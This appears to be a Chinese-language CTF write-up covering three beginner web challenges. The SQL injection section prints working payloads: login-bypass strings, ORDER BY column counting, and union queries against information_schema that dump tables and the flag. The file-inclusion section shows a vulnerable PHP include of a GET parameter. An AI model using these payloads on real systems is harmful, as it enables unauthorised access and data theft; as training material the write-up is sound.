web01
右键查看源代码,再使用在线解密,就可以得出答案了
web02 sql注入
admin' or 1=1
或者1 or 1=1
可以登录- 查询几个字段:
1' or 1=1 order by 3 #
使用此语句,判断列数。
order by 3不会出错,但是order by 4就没有显示了,因此判断共有3列。
ORDER BY 子句中的数字(如 ORDER BY 4)通常表示按照查询结果中的第几个列进行排序,而不是列名。这意味着 ORDER BY 4 将根据查询结果中的第四列进行排序。
- 使用
-1' union select 1,2,3 #
判断回显的位置
发现回显位置是2
1' union select 1,database(),3#
查看数据库名称,发现是web21' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); #
查看数据库中的表,返回有欢迎你,flag,user
,说明一共有两个表,分别是flag和user1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag';#
查看列名,发现只有flag1' union select 1,group_concat(flag),3 from web2.flag;#
显示数据,得到答案了
补充知识:
group_concat(table_name)
是一个聚合函数,它将返回符合 WHERE 条件的所有表的名称,并用逗号分隔。information_schema
是一个标准的数据库系统中的元数据信息存储区域,它包含了关于数据库结构的信息,比如数据库、表、列、索引等的信息。- 万能密码:
admin' or 1=1#
web03 利用burp抓包修改为POST
点进题目后,显示<?php include($_GET['url']);?>
,需要用到burp抓包。(burp配置笔记)
include()函数用于将指定文件的内容读取并执行。题目是在引导我们利用文件包含漏洞给url传递一个参数
- 抓包后,右击它,选择“Send to Repeater”。这样,这个请求就会出现在Repeater标签页中。
- 按照图片进行修改,完成后“go”。会在response中看见ctf_go_go_go这个文件
- 在url后面加上 /ctf_go_go_go,可以下载文件,打开后就是flag了
一些说明:
GET vs. POST 请求
在Web开发中,GET和POST是两种最常用的HTTP请求方法:
- GET请求通常用于请求数据从服务器检索数据。数据被添加到URL中,因此有长度限制,而且所有的参数都对用户可见。
- POST请求则用于向服务器提交数据,比如表单提交。数据在请求体中发送,不会出现在URL中,因此更适合提交敏感信息或大量数据。POST请求没有数据长度限制。